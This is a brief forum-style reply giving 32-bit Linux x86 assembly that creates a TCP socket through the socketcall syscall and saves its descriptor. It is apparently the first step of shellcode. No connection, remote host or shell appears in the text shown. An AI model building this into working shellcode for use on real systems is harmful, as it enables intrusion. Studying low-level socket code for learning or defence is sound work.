Yhea, reply on the first part:
create socket file descriptor
xor eax, eax
xor ebx, ebx
mov al, 0x66 ; linux syscall socketcall
push edx ; int protocol = 0
inc ebx ; 1 = socket()
push ebx ; int type = SOCK_STREAM (1)
push BYTE 0x02 ; int domain = PF_INET (2)
mov ecx, esp ; pointer to argument array
int 0x80 ; kernel interrrupt
mov esi, eax ; save socket file descriptor